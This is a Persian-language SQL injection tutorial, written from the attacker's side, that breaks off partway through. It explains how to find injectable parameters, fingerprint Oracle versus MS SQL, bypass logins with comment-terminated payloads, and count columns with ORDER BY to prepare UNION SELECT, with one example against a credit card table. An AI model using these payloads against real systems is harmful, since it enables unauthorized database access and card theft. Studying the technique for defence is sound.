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SQL Injection Tutorial 

 
Second Release 
By Dangerous Wolf 

 او که هر چه داریم از اوستبه نام 

 
 :پیش گفتار

با این  .  می دیدند   طبیعی خود  ا را سال دست یابی به آرمان های بلند و ماور          2000 سال   ،بسیاری از محققان، دانشمندان و فلاسفه     
 هیچ یک از آن آرزوهای فوق العاده ای که بشر از مدرنیزه شدن دنیای اطراف خـود مـی دیـد، محقـق                    ،2000جود پس از گذشت سال      و

. هر چند تلاش های بسیاری صورت گرفت و دستاوردهای بسیاری حاصل شد، اما آن رویای دیرین بشر هیچ گاه به تحقق نپیوسـت   . نشد
بـا ایـن حـال    .  را سال آرمان های خود قرار داده و تا زمان موعود، اصل را بر تولید علم نهادنـد نـه انتقـال علـم    2020ن سال  لذا دانشمندا 

در ایـن  پس از آن به تنهایی باید . برای شروع، لازم است که فرد مقداری از طریق انتقال علم، ذهنیت و مهارت هایی اولیه، به دست آورد        
بر درخواسـت هـای     بنـا و نیـز    ) ایمهارت های اولیه تـا حرفـه        (انتقال علم   بر همین اصل یعنی     . م به حرکت بپردازد   دریای مواج و پر تلاط    
به هر حال . ارائه دهمعزیزان در جهت رفع مشکلات، شته و آنرا  نوSQL Injectionحول مبحث  Tutorialیک تا بسیاری بر آن شدم، 

 در یـک  خاموش و از هم جـدا باشـد و  که  در نظر گرفت یت مقداری در حد بالا    امناز نظر   ان  را می تو  تنها سیستمی   نباید فراموش کرد که     
 و بـا گازهـای   دمـدفون شـده باش ـ  ،  متـر 300 با عمق     زیر زمینی  یانباردر  و  امواج گاما احاطه    توسط  و  قفل  فلزی از جنس تیتانیوم      محفظه

اِعمـال  ،   درصـد  100ه صـورت     هنوز هم نمی توان گفت که امنیـت ب ـ          حتی .دشده باش حفاظت  حول آن   قوی جثه   بسیار  اعصاب و سربازان    
بایـد خـاطر نشـان    همچنـین   .از سر بیرون کـرد  پس باید فکر عبارت صد در صد را در مباحث امنیتی به خصوص امنیت شبکه  .شده است 

مـورد   را SQL Injection، مبحـث  دام، از دیـدگاه هـای مختلـف   ــــــتشکیل شده که هر کمرتبط به هم بخش   10این مقاله از کرد که 
هیچ گـاه فرامـوش     به هر حال     .ای است مقدمه  دارای  این نکته نیز باید ذکر شود که هر بخش بنابه دلایلی            . بحث و بررسی قرار می دهند     

 .تند و روش های مشابه آن انجام می شوند از ارزش کمتری برخوردار هسInjectionنکنیم که حملاتی که از طریقِ سری حملاتِ 
 

 :ارائه این مجموعه یاری فرمودندین کار بسیار، حقیر را در عدر با تشکر از عزیزانی که 
James Marshall – The top admin of "Astalavista Security Committee" 
Adrian Lamo – "H4G1S Destroying Group" – Became WhiteHat 
Zinho – The top admin of "Hackers Center Committee" 
Steve Example – Gold Member of "Unix Wizard" 
IDESpinner – The top admin of "Cracking Is Life –cracking- Team" 
Ali Rashidi – The top admin of "Crouz Security Team” 
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 مقدمه: 1 بخش
 مبنی بر  درخواستِبرای آرشیوِها  Dynamic Content های مدرن از جزئیات متحرک یا Web Applicationبسیــــاری از 

این قدرت تحرک معمولا به وسیله دریافت اطلاعات بـه روز از بانـک اطلاعـاتی آرشـیو                  .  خود استفاده می کنند    windowingبرنامه های   
ـــاری از   مـی باشـد و بسی ـ Web Data Store( ،SQL( هـا بـــرای ذخایراطـــــلاعات در وب    Platformیکی از محبوب ترین . میشوند

Web Application ها اساسا بر اسکریپت های front-end) front-end-scripts ( که به سادگی از یک بانک اطلاعاتیSQL  گـزارش 
 شـدن گـزارش هـا    hijacking، باعث عمل web applicationیکی از موذیانه ترین حملات به یک .  می گیرند، مبتنی هستندQueryو 

 و اطلاعـات آن اسـتفاده   application برای دست یافتن به کنتـرل  front-end scripts ها توسط Query یا که این گزارش ها. می شود
 در میـان  SQL Injectionیکی از موثرترین مکانیزم ها برای آرشیو کردن آن اسـتفاده از یـک تکنیـک اسـت کـه تحـت نـام        . شده اند

 !نفوذگران استفاده میشود
یک حمله بـر روی سـرورهای بانـک هـای           .  ها قلب یک وب سایت تجاری و بازرگانی هستند         Databaseبانک های اطلاعاتی یا     

سـرورهای بانـک هـای اطلاعـاتی     .  می تواند یک ضرر مالی بزرگ برای شرکت بـه دنبـال داشـته باشـد    Database Serversاطلاعاتی یا 
ها یک حمله بـر روی سـرور کـافی اسـت تـا از اعتبـار       هک می شوند و تن) CC Info(معمولا برای بدست آوردن اطلاعات کردیت کارت 

سایت کاسته شده و جمعیت سرازیر به سایت کم شوند همچنین کارمندان سایت خواستار امـن و محرمانـه شـدن اطلاعـات کـارت هـای                           
ها شاید چنـین   اسکنرresultدر ( نامیده می شود MSSQL که Microsoft SQLبسیاری از سایت های دولتی از . اعتباری خود میشوند

 هنوز کـم و بـیش در میـان    MSSQL. استفاده می کنند) Oracle DB Servers (Oracleو سرورهای بانک اطلاعاتی ) نامی دیده باشید
آنلاین دیده می شوند چرا که قیمت آن بسـیار پـائین اسـت، در صـورتی کـه بـا قیمـت هـای بـالای سـرورهای                             ) Market(مراکز فروش   

Oracle  چند وقت پیش     !! روبرو میشویمOracle          وذگران بـه مبـارزه     ـــــــــ ـامـا نف  .  ادعا بر غیرقابل نفوذ بودن سرورهای خود می کـرد
 !  های بسیاری در آن یافتندbugو حفره ها و (!!) برخواستند 
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 نکات اساسیحقه ها و توضیحات، : 2بخش 
 تشخیص تزریق ها

برای انجام ایـن کـار،   .  بدیهی است که اولین گام، تشخیص آن استستی عمل کند، به درSQL Injectionبرای اینکه عملیات 
اگرچه، پیام های خطا خودشان نمایش      . نفوذگر ابتدا باید بعضی انواع از نشانه هایی که دلالت بر وجود خطاها در سیستم است، ایجاد کند                 

داشته ) یک درخواست غیرمعتبر (را از باطل    ) ک درخواست صحیح  ی( هنوز باید توانایی جدا کردن صحیح        applicationداده نمی شوند،    
 مربوط می باشند یا   SQLباشد و نفوذگر به راحتی می آموزد که چطور این آثار را بشناسد، خطاها را پیدا کند و تشخیص دهد آیا آنها به                        

 .خیر
 

 تشخیص خطاها
 می تواند خطاهـا  Web Applicationیک . اجه شود را بشناسیمابتدا، ما باید انواع خطاهایی که یک نفوذگر می تواند با آن مو

وجـود  ( در اثـر یـک مشـکل تولیـد مـی شـود       Web Serverاولـین نـوع خطـا آن اسـت کـه بـه وسـیله        . را در دو نوع عمده تولیـد کنـد  
exception ! (  اگر دست نخورده باشند، ایـنexception         500' هـا تمـامی مـوارد را ماننـد هـم ثمـر مـی دهنـد: Internal Server 

Error' 
، ســبب مــی شــوند کــه ) هــاquoteنبســتن : بــراث مثــال( اشــتباه تزریــق شــوند syntax هــایی کــه بــا SQLمعمــولا، تزریــق 

application      اگرچه، دیگر خطاها نیز ممکن است به یک چنین          .  این نوع از خطاها را بازگرداندexception     یـک  .  هایی هـدایت شـوند
 سـاختگی عـوض و      HTML های پیش فرض مربوط به این خطا را با یک صـفحه              textری از خطا این است که       یفرآیند ساده برای جلوگ   

replace اما با مشاهده کردن خطی که به عنوان جواب برگشت داده شده است خودش این حقیقت را آشـکار مـی سـازد کـه ایـن      .  کنیم
 برای متوقف کردن خطاها انجام شده اسـت و پاسـخ نادرسـت ممکـن                در دیگر موارد، تلاش های دیگری     . در سرور می باشد   /یک خطا از  

 به صفحه اصلی یا قبلی منجر شود یا شاید یک پیام خطای نـوعی کـه هـیچ اطلاعـاتی را ارائـه                        redirectملیات  ــاست به سادگی به یک ع     
 .نمی دهد

 شود و معمولا به برنامـه نویسـی بهتـری    تولید می) application) application codeدومین نوع از خطاها به وسیله کدهای 
، چشم داشت به موارد نامعتبر خاصی دارد و می تواند یک پیـام خـاص سـاختگی را بـرای آنهـا                       Applicationدر این مورد،    . اشاره دارد 

مچنین ممکن اسـت  بازگشت داده شوند، ه) 200(اگرچه معمولا این نوع از خطاها باید به عنوان قسمتی از یک جواب معتبر     . نمایش دهد 
 . شوندreplace هستند، عوض و Internal Server Error ها یا دیگر وسایل اخفا که بسیار شبیه redirectآنها با 

 
 :یک مثال ساده می تواند فرق بین این دو نوع را بازگو کند

گه ـــــــــ ـ آنها را از هـم جـدا ن   B وA برای کارهای بازرگانی را پیش خود مجسم کنیم که با نام های applicationبیایید دو 
ایـن صـفحه انتظـار دارد کـه یـک           .  اسـتفاده مـی کننـد      proddetails.asp ها از یک صفحه با نام        applicationهر دوی این    . می داریم 

شـت مـی کنـد،      این صفحه بعد از دریافت این پارامتر، جزئیات محصول را از بانک اطلاعـاتی بردا              .  دریافت کند  ProdIDپارامتر را با نما     
 را proddetails.asp هـا،  applicationهر دوی این . ، انجام می دهد)returned(سپس، بعضی دستکاری ها را روی رکورد بازگشته  

 بـا همـین مـورد قـانع و     Application A.  باشـد valid بایـد همیشـه معتبـر و    ProdIDتنها از یک لینک فراخوانی می کنند، بنابراین، 
 برقرار می کنـد،  ProdIDهنگامی که یک نفوذگر کنش و واکنش پنهانی با . د و هیچ بررسی اضافی را انجام نخواهد داد       متقاعد خواهد بو  

.  خالی برگشت داده می شود     recordset می کند که هیچ ردیفی در جدول بر طبق آن وجود ندارد، در نتیجه آن یک                  insert را   IDیک  
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 خـالی را انتظـار نداشـته اسـت، هنگـامی کـه تـلاش مـی کنـد اطلاعـات را در رکـورد            recordset یـک  Application Aبه دلیل اینکه، 
امـا،  .  مـی باشـد  'Internal Server Error :500' محتمل بر وقوع خواهد بود کـه شـبیه تولیـد یـک     exceptionدستکاری کند، یک 
Application B بررسی می کند که قبل از هر گونه دستکــــــاری در  ،recordset  اگـر ایـن   .  باشـد 0، اندازه و ظرفیت آن بیشـتر از

یـا اگـر برنامـه    .  ظاهر می شود که ادعا دارد چنین محصولی وجـود نـدارد  'No such Product'مورد صادق نباشد، یک پیام به صورت 
یک نفوذگر  . ت بازگرداند نویس بخواهد خطا را مخفی کند، می تواند کاربر را در صورت پیشامد این خطا، مجددا به همان لیست محصولا                   

بنابراین، نخست سعی می کند چندین درخواسـت نـامعتبر و   . دهدن چشم بسته را انجام SQL Injectionتلاش می کند که یک عملیات 
invalid        تولید کند و بفهمد که چطور application        و همچنـین از آن هنگـامی کـه یـک خطـای      (!!!)  با خطاها دست و پنجه نرم می کند

SQLاتفاق می افتد، چه انتظاری دارد . 
 

 تعیین محل کردن خطاها
، نفوذگر اکنون می تواند به دومین گام از حملـه پـیش بـرود، کـه آن تعیـین             Applicationبا در دست داشتن اطلاعاتی درباره       

 SQLتکنیـک هـای   بـه ایـن منظـور، آزمـایش هـای عـادی       . محل کردن خطاهایی است که نتیــجه ورودی های دستکاری شده هسـتند 

Injection اضـافه کـردن کلمـات کلیـدی     :  انجام می شوند، از قبیـلSQL  یـا SQL Keyword  هـا مثـل :OR, AND همچنـین  ... .  و
  !! ' یا ; ها مثل META Characterاضـــــافه کردن 

افتـاده اسـت، امتحـان مـی        هر پارامتر به طور مجزا تست می شود و جواب به دقت برای تعیین کردن اینکه آیا یک خطـا اتفـاق                       
 هـا و دیگـر خطاهـای    redirect یا ابزاری از این قبیـل، شـناختن   Intercepting Proxyبا استفاده از قطع کردن یک پراکسی یا . شود

مشـکوک بـر ایـن کـه شـاید یـک آسـیب        . هر پارامتر که یک خطا را برمی گرداند، مشکوک خواهد بـود  . مخفی فرضی راحت خواهد بود    
 مـی باشـد،   validهمچنان، همه پارامترها به صورت جدا با فرض اینکـه ایـن درخواسـت معتبـر و     .  باشدSQL Injectionی پذیری برا

این کار در این مورد بسیار مهم می باشد، چنانکه این فرآیند باید تمامی علل ممکن برای خطاها را متفـاوت از           . تست و آزمایش می شوند    
بعضی از این پارامترها شـاید      . ه این فرآیند معمولا یک لیست طویل از پارامترهای مشکوک خواهد بود           نتیج. ، خنثی کند  injectionخود  

 ربطـی  SQLدیگـر پارامترهـا شـاید مـواردی باشـند کـه بـه        .  شوندexploit آسیب پذیر باشند و شاید SQL Injectionبراستی برای 
، که در مثال ما، آنهایی (!!!) است pick of litterی برای نفوذگر، تشخیص دادن بنابراین گام بعد. نداشته باشند و باید دور انداخته شوند

 .  آسیب پذیر می باشندSQL Injectionاست که براستی برای 
 

 SQL Injectionتشخیص پارامترهای آسیب پذیر برای 
فیلـدهای  .  را بشناسـیم   SQLلاعات در   برای اینکه بهتر بفهمیم چگونه این کار انجام می شود، بسیار مهم است که انواع اصلی اط                

SQL                               معمولا می توانند به عنوان یکی از سه نوع اصلی شناخته و دسته بندی شوند که آنها عددی، رشته ای و تاریخی مـی باشـند کـه بـه ،
 بـی ربـط و      Injectionهر کدام از این انواع برای خود ویژگی هایی دارند، اما برای فرآینـد               .  می گوئیم  Date و   String و   Numberآنها  

، به عنوان یکی از انواع مطرح مـی شـود   SQL Query به سمت web applicationهر پارامتر انتقال یافته از . خارج از موضوع می باشند
محـتملا بـه صـورت    4  اسـت، در حالیکـه   String معمـولا یـک   'abc'(و معمولا تشخیص و تعیین کردن نوع آن بسـیار راحـت مـی باشـد     

number ت، اگرچه باید همچنین، به عنوان یک         اسstring  در زبان   ).  مطرح شودSQL               پارامترهـای عـددی همـان طـور کـه هسـتند بـه ،
 :برای مثال.  هایی در کنارشان گذر داده می شوندquoteسرور گذر داده می شوند در حالیکه رشته ها و تاریخ ها با 

SELECT * FROM Products WHERE ProdID = 4 
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 در مقابل 
SELECT * FROM Products WHERE ProdName = 'Book' 

 
، پروا ندارد چه نوع از عبارات را با طولی که برای نوع مربوطه براستی مورد نیاز اسـت در حـال دریافـت    SQL Serverهرچند، 

به راستی یک خطـای مربـوط   این رفتار، به نفوذگر قدرتی می دهد که به بهترین روش می تواند تشخیص دهد آیا یک خــــطا      . آنها است 
با مقادیر عددی، بهترین روش بـــــــــرای دست و پنجه نرم کردن با آن، استفاده از عملگرهای حسابی اصلی                  .  می باشد یا خیر    SQLبه  
 :برای مثال، درخواست زیر را در نظر می گیریم.  ها می باشدBasic Arithmetic Operationیا 

/myecommercesite/proddetails.asp?ProdID=4 
 

راه .  بـه عنـوان پـارامتر مـی باشـد     '4راه اول به وسـیله تزریـق   .  بسیار ساده خواهد بودSQL Injectionتست کردن آن، برای 
نتـایج ایـن   .  گذر داده می شودSQLاین پارامتر به راستی به یک درخواست .  به عنوان پارامتر می باشد1 + 3دیگر به وسیله استفاده از 

 : زیر می باشندSQLایش دو گزارش دو آزم
(1) SELECT * FROM Products WHERE ProdID = 4' 
(2) SELECT * FROM Products WHERE ProdID = 3 + 1 
 

امـا، دومـین    .  وارد شده است، تولید خواهـد کـرد        SQLاولین مورد، به طور قطع یک خطا را مبنی بر اینکه یک ساختار اشتباه از                
ا خواهد شد و در جواب به صورتی خواهد بود که اگر از پارامتر اصلی استفاده می کردید، همان جواب را مـی گرفتیـد                مورد، به آرامی اجر   

 .  آسیب پذیر می باشدSQL Injectionو این مورد نشان می دهد که این پارامتر برای ) 4 برابر با ProdIDیعنی (
 SQL Syntax String یـا  SQLاختار عبـارت رشـته ای   یـک تکنیـک مشـابه مـی توانـد بـرای تعـویض پـارامتر بـا یـک س ـ          

Expression اول اینکـه، پارامترهـای رشـته ای در داخـل     . تنها دو تفـاوت وجـود دارد  .  استفاده شودquote     هـایی نگـه داری مـی شـوند 
تارهای مختلفـی نیـز بـرای     های مختلف، به طبع از سـاخ SQL Serverدوم اینکه، .  ها نیاز استquote از breaking outبنابراین انجام 

 برای الحاق رشـته هـا اسـتفاده    + از علامت Microsoft SQL Serverبرای مثال، . رشته ها استفاده می کنند) concatenation(الـحاقِ 
یـک هـای   به غیر از این مـوارد، تقریبـا مـی تـوان گفـت کـه تکن      .  برای انجام همان عمل استفاده می کند|| از Oracleمی کند، در حالیکه،     

 :برای مثال. مشابهی برای انجام این عملیات استفاده می شود
/myecommercesite/proddetails.asp?ProdName=Book 

 
یکبـار بـا یـک رشـته     .  را بـه دنبـال دارد  ProdName، ناچار تعویض پارامترهای SQL Injectionتست کردن این مورد برای 

 در B' || 'ookیـا  ( تولیـد کنـد   B' + 'ookه می تواند یک عبارت رشـته ای معتبـر همچـون     و یک بار با یک رشته ای ک'Bغیرمعتبر مثل 
Oracle .(این نتایج به صورت زیر گزارش می شود: 

 (1) SELECT * FROM Products WHERE ProdName = 'Book'' 
(2) SELECT * FROM Products WHERE ProdID = 'B' + 'ook' 
 

 می کند در حالی که دومین گزارش به محصول مشـابهی همچـون              SQL گزارش تولید یک خطای      خاطر نشان می شود که اولین     
همچنین، هر عبارت ای را می توان مورد استفاده قرار داد و جایگزین  .  است Bookکه ارزش آن    ) book(تقاضای اولیه مراجعه می نماید      

بـرای  (ی توان مورد استفاده قرار داد و یک عدد، رشـته یـا یـک تـاریخ                  وظایف یا توابع خاص سیستمی را م      . پارامترهای اولیه و اصلی کرد    
 هــــمان کـار را انجـام   ()getdate، عبارت SQL Server یک عبارت تاریخی بر می گرداند در حالی که در Oracle ،sysdateمثال، در 
 اتفاق افتاده یـا خیـر همانگونـه کـه مـی          SQLیق  همچنین، دیگر تکنیک ها را می توان استفاده کرد و مشخص نمود که آیا تزر              ). می دهد 
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 اتفاق افتاده یک وظیفه بسیار ساده است حتی بدون اینکـه پیـام هـای خطـایی بوجـود      SQL Injectionتوان ملاحظه کرد تشخیص اینکه 
 .آمده باشد به نفوذگر اجازه می دهد که به سادگی حمله اش را دنبال کند

 

 انجام تزریق
به این منظور، نفوذگر بایـد  . وسیله نفوذگر تشخیص داده شد، مرحله بعد این است که آنرا اکسپلویت کند        هنگامی که تزریق به     

syntaxحقیقی را تولید کند، سرورهای بانک اطلاعاتی مشخصی را شناسایی کرده و اکسپلویت مورد نیاز را بسازد  . 
 

  و ساختاری درستSyntaxبه دست آوردن 
اگـر  . مـی باشـد   ) Blindfolded( بـه صـورت چشـم بسـته          SQLمیزترین قسمت در فرآینـد تزریـق        این مورد معمولا نیرنگ آ    

اما، اگر گزارش اصلی پیچیده باشد، برای اجرای بدون نقص آن، احتیـاج بـه               . گزارشات اصلی ساده باشند، این مورد نیز ساده خواهد بود         
ساختار اساسی  . یک های اساسی برای انجام این آزمایشات نیاز است        در هر حال، تنها تعدادی تکن     . آزمون و خطای بسیاری خواهد داشت     

.  بـه کـار مـی رود   WHERE می باشد و پارامتر تزریق شده به عنوان بخشی از عبـارت  SELECT … WHEREآن استفاده از جملات 
بـه گونـه ای     ) اصـلی ( اولیـه    WHEREبرای دریافت یک ساختار حقیقی، نفوذگر باید قادر باشد که اطلاعات یا داده های خود را به جمله                   

 می توانـد ایـن حقـه را اغلـب پیـاده      OR 1=1 های ساده، اضافه کردن applicationدر . الحاق کند که داده های متفاوتی را دریافت کند
ری کـه آنهـا بـا       اغلب اوقـات، پرانتـز بایـد بسـته شـده باشـد، بـه طـو                . در بسیاری از موارد نیز، قادر به اکسپلویت کامل نخواهد بود          . کند

مشکل دیگر که ممکن است اتفاق بیفتد این است که یک گزارش مخفی ممکـن اسـت باعـث شـود کـه                       . پرانتزهای باز اولیه موافق باشند    
application         تولید خطا کند که از طریق خطای SQL       اگر فقط یک رکورد مورد نیـاز باشـد       : برای مثال ( قابل تشخیص و شناسایی نیست

 ).  تولید خطا خواهد نمودapplication رکورد را برگرداند، 1000 شود که بانک اطلاعاتی  باعثOR 1=1و 
 ,OR اساسا مجموعه ای از عبارات است که به صورت صحیح یا غلط ارزیابی مـی شـوند، همـراه بـا     WHEREچون هر عبارت 

AND               وده و گزارشـی را کـه بـا اسـتفاده از ترکیبـات مختلـف                 و پرانتز ساختار صحیحی را به وجود می آورد که پرانتز را دچار اختلال نم
 کـل عبـارت را تبـدیل بـه یـک عبـارت غلـط        'AND 1=2'اضافه کـردن  : برای مثال. انجام شده است، به طور صحیح خاتمه خواهد یافت

 .Operator Precedence نتیجه صفر خواهد داشت، به جز تقدم علامت ها یا 'OR 1=2'در حالی که استفاده از . خواهد گرفت
در حـالی کـه در بعضـی از تزریـق هـای             .  کفایت خواهد کـرد    WHEREدر مورد بعضی از تزریق ها، صرف تغییر ساده عبارت           

 بـرای بیـان منظـور و انجـام     WHERE یا تزریق های رویه های ذخیـره شـده، تنهـا تغییـر عبـارت      UNION SELECTدیگر همچون 
 باید به نحوی صحیح خاتمه پیدا کند بـه طـوری کـه سـاختار اضـافی را                   SQLعبارت یا جمله    در یک چنین مواردی،     . کارکافی نخواهد بود  

پس از اینکه حمله کننـده یـک ترکیـب    . به این منظور یک تکنیک بسیار ساده را می توان مورد استفاده قرار داد            . بتوان به آن الحاق نمود    
 . را می توان مورد استفاده قرار دادSQLت توضیح  را به کار ببرد، علام1=1 و AND, OR 1=2صحیح یا حقیقی از 

 را به گونه ای دسـتور مـی دهـد تـا ادامـه و      SQL Serverبیان شده و ) --(این علامت، با استفاده از دو علامت خط تیره متوالی 
 Userگـاه کنـیم کـه هـم     برای مثال، اجازه بدهید به یک صفحه لاگـین سـاده ن  ). Ignore(بقیه خط ورودی را در دستور را فراموش کند 

Name و Passwordمانند زیر.  را در گزارش دارد: 
SELECT Username, UserID, Password FROM Users WHERE Username = ‘user’ AND Password = ‘pass’ 
 

 : زیر تولید می شودWHERE، عبارت )User( به عنوان کاربر --'johndoeبا فرستادن 
WHERE Username = ‘johndoe’ --'AND Password = ‘pass’ 
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 متفـاوت  WHEREاجازه دهید یک جمله    ). bypass(این مورد، نه تنها ساختار صحیح است، بلکه اعتبارسازی آن دور زده شده است               در  
 :دیگری را بررسی کنیم

WHERE (Username = ‘user’ AND Password = ‘pass’) 
 

 :، باعث خواهد شد که گزارش با خطا مواجه شود(-- 'jonhdoe)تزریق مشابه در این صورت . توجه به پرانتزها داشته باشید
WHERE (Username = ‘johndoe' --' AND Password = ‘pass’) 
 

این مثال، همچنین، نشان می دهد که چگونه می تـوان از علامـت      .  با پرانتزها نمی خواند و بنابراین اجرا نخواهد شد         گزارشاین  
اگر علامـت توضـیح اضـافه شـود و خطـایی صـورت              .  و فهمید که آیا گزارش به نحو صحیحی خاتمه پیدا کرد یا خیر             توضیح استفاده کرد  

در غیر این صورت، احتیاج آزمـون و خطـای          . به نحو صحیحی انجام شده است     ) comment(نپذیرد، به این معنی است که قبل از توضیح          
 .بیشتری است

 

 تشخیص بانک اطلاعاتی
 به کار ببرد آن است که بانک اطلاعاتی خاص مـورد اسـتفاده              SQL نفوذگر باید قبل از آغاز اکسپلویت در تزریق          گام بعدی که  

چند حقه ساده بـه     . ، این کار به مراتب ساده تر از پیدا کردن ساختار صحیح آن است             )حداقل برای نفوذگر  (خوشبختانه  . را تشخیص دهد  
اتی را تشخیص دهد و این مورد به تفاوت هایی کـه بـین کاربردهـای خـاص موتورهـایی بانـک                      نفوذگر اجازه می دهد که نوع بانک اطلاع       

 را مـورد بررسـی قـرار مـی     Microsoft SQL Server و Oracleمثال های زیر تفاوت هـای بـین   . اطلاعاتی وجود دارد، مربوط می شود
یکی از حقـه هـای بسـیار سـاده        .  ساده مشابهی استفاده کرد    برای تشخیص دیگر موتورهای بانک اطلاعاتی، می توان از تکنیک های          . دهد

با فرض اینکه ساختار را بدانیم و نفوذگر قادر باشد که عبـاراتی اضـافی را                . که قبلا مورد اشاره قرار گرفت تفاوت الحاق در رشته ها است           
 :برای مثال. لحاق ها انجام داد اضافه کند، یک مقایسه رشته ای ساده را می توان با استفاده از این اWHEREبه جمله 

AND 'xxx' = 'x' + 'xx' 
 

تکنیک دیگـر  .  یا بانک اطلاعاتی دیگر، تفکیک شودMS SQL به راحتی می تواند از Oracle، ||با + با جایگزین کردن علامت 
در . خـط بـه هـم زنجیـره شـوند      در یـک  SQL مورد استفاده قرار می گیرد تا چند عبـارت  ; یک SQLدر .  می باشد  ;استفاده از کاراکتر    

 به این شیوه وجـود  ;، امکان استفاده از Oracle های Driver می توان آنرا در داخل کد تزریق قرار داد، در SQL Injectionحالی که با 
 MSر روی  قبل از آن اثـری ب ـ ;اضافه کردن یک ) یعنی خطایی تولید نکند( به نحو صحیح کار کند commentبا فرض اینکه این . ندارد

SQL          ندارد و این در حالی است که در Oracle    بعلاوه، بررسی هر یک از دستورات اضـافه مـی توانـد پـس از یـک                  .  تولید خطا می کند; 
 ). -- xxx' : COMMITتزریق : برای مثال( به آن اضافه شده باشد COMMITمورد استفاده قرار گیرد مشروط بر اینکه یک عبارت 

در نهایت بعضـی از عبـارت هـا را مـی تـوان بـا       . عبارت را بتوان آنجا تزریق نمود، هیچ گونه خطایی تولید نخواهد شد با فرض اینکه، این     
چـون هـر بانـک اطلاعـاتی از توابـع متفـاوتی اسـتفاده        . استفاده از توابع سیستمی جایگزین نمود که ارزش های صحیح را باز می گرداننـد   

 :همچون مثال تابع تاریخی فوق الذکر(ق نوع بانک اطلاعاتی را نیز تشخیص داد میکند به راحتی می توان از این طری
 

getdate() در MS SQL دربرابر sysdate در Oracle 
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 اکسپلویت کردن تزریق
در حـالی کـه کـدهای       . با در دست داشتن تمامی اطلاعات مناسب، نفوذگر اکنـون مـی توانـد تزریـق را خـودش بـه پـیش ببـرد                        

می سازد، دیگر احتیاجی به داشتن اطلاعاتی در مورد پیام های خطا نـدارد و مـی توانـد اکسـپلویت هـا را بـر اسـاس تمـامی                              اکسپلویت را   
تنها تکنیک اکسپلویت کردن که در این مقاله مورد بحث بیشـتری قـرار میگیـرد،    .  شناخته شده، بنا نمایدSQL Injectionتکنیک های 
 .ر بعد توضیح داده می شود است که دUNION SELECTتزریق جمله 

 UNION SELECTتزریق های 
 ها بسیار خـوب و شایسـته   application می تواند در بسیاری از SELECT … WHEREاگرچه، مذاکرات پنهانی با جملات 

ر ، نفـوذگ WHEREبرخلاف، استفاده از جملات .  انجام بدهدUNION SELECTنفوذگر غالب اوقات می خواهد که یک تزریق . است
 به تمامی جداول موجود در سیستم دسترسی پیدا کند که در غیـر ایـن صـورت قابـل     UNION SELECTمی تواند با استفاده از تزریق 

 مستلزم داشتن اطلاعاتی در خصوص تعداد فیلدها در گزارش و همچنـین  UNION SELECTچون اجرای جملات . دسترسی او نیست
ی توان انتظار داشت که بدون پیام های خطا نتواند اجرا شود به ویـژه وقتـی کـه تعـداد فیلـدها در               نوع هر یک از فیلد ها است، بنابراین م        

در قسمت های بعدی، تکنیک های ساده ای را ارائه خواهیم کرد که به سـادگی مشـکل فـوق را                  . گزارش اصلی و اولیه بزرگ و زیاد باشد       
در فصل پیشین، گفته شد که ایـن کـار امکـان            .  ساختارهایی صحیح داشته باشد    قبل از آن، بدیهی است که نفوذگر باید       . حل خواهند نمود  

 تشـخیص  UNION SELECTمهم ترین تذکر لازم برای ساختار این اسـت کـه بـا    . پذیر است و چگونگی انجام آن نیز نشان داده شد
 یا دیگر دستورات را فـراهم سـازد      UNIONیق  در سطحی باشد که تمامی پرانتزهای مورد تقاضا را دور زده و امکان تزر              بایستیساختار  

وقتی کـه سـاختار صـحیح باشـد،      ).همانگونه که در قبل اشاره شد، این کار با الحاق علامت توضیح در تزریق جامع عمل به خود می پوشد         (
 سـتون   باید تعـداد سـتون هـا و نـوع    UNION SELECTجمله .  می تواند به گزارش اصلی الحاق شودUNION SELECTیک جمله 

 . در غیر این صورت خطا تولیدمی شود. های آن باید شبیه جمله اولیه باشد
 

 شمارش ستون ها
 SQL Injection بـرای  UNION SELECTشمارش تعداد ستون ها، ممکن است که به نظر برسد در تکنیک هـای معمـولی   

یک سـتون در  (تولید تعداد متفاوتی از فیلدهاست  و کوشش برای UNION SELECTتنها راه انجام آن، ایجاد تزریق . غیرممکن باشد
 جـایگزین مـی نمـاییم،    Column Type Mismatch را توسـط  Column Number Mismatchهنگامی که پیام خطـای  ). هر کوشش

رابطـه بـا نـوع    وقتی چشم بسته کار می کنیم، هیچ علامتی را در . تعداد صحیح ستون ها را پیدا خواهیم کرد و گام بعدی را دنبال می کنیم           
 . خطاها نخواهیم داشت و در نتیجه این روش کاملا بیهوده خواهد بود

 اسـتفاده مـی   ORDER BYبرای این منظور از عبـارت  . بنابراین می توان روشی دیگر، برای تعیین تعداد ستون ها به کار برد
ایـن  .  می شـود record-setنتایج موجود در  موجب تغییر ترتیب SELECT به انتهای عبارت ORDER BYافزودن یک عبارت . کنیم

 . ** انجام دادsortکار را می توان با مشخص کردن نام یک ستون یا ستون هایی 
یک تزریق معتبر در پارامتر شماره کــــــــــــــــــــــــــــــــارت اعتباری می توانـد    . به مثالی از یک گزارش مالی توجه کنید       

11223344) ORDER BY CCNum --باشد که منجر به گزارش زیر خواهد شد : 
SELECT CCNum FROM CreditCards 
WHERE (AccNum=11223344) ORDER BY CCNum -- 
AND CardState=’Active’) AND UserName=’johndoe’ 
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ای نام سـتون  در این مورد، عبارت به ج.  را می توان به صورت عددی نیز نوشتORDER BYنکته قابل تذکر این که، عبارت 
 درست بوده و دقیقـا شـبیه مـورد    – ORDER BY 1 (11223344به این معنی که تزریق کردن . به شماره ستون مراجعت خواهد کرد

، تولید خطا خواهد کـرد  -- ORDER BY 2 (11223344تزریق اما، .  اولین فیلد در نتیجه گزارش می باشدCCNumزیرا . قبلی است
 .رای یک فیلد است به این معنی که نتیجه آن را نمی تواند توسط دومین فیلد مرتب شودچون که این گزارش فقط دا

نخست، نفوذگر یک .  می تواند مفید واقع شودORDER BYبنابراین، هنگامی که قصد بر شمارش تعداد فیدها داریم، دستور 
ایـن  . ، باید حـداقل دارای یـک فیلـد باشـد    SELECTچون هر گزارش .  را به ساختار اصلی خود اضافه می کندORDER BY 1عبارت 

اگر چنانچه خطایی در مورد آن دریافت شد، ساختار بایستی با عباراتی دیگر تکمیل شود تا دیگر                 . دستور اجرا می شود و کار خواهد کرد       
 DESC یـا    ASCکـردن   اضـافه   .  شـود  application کردن آنها موجب ایجاد یک خطا در         sortاگرچه احتمال می رود، که      ( ظاهر نشود   

 باشد و بدون اشـکال کـار کنـد، نفـوذگر ترتیـب را از      ORDERY BYهنگامی که یک ساختار صحیح دارای ). مشکل را حل خواهد کرد
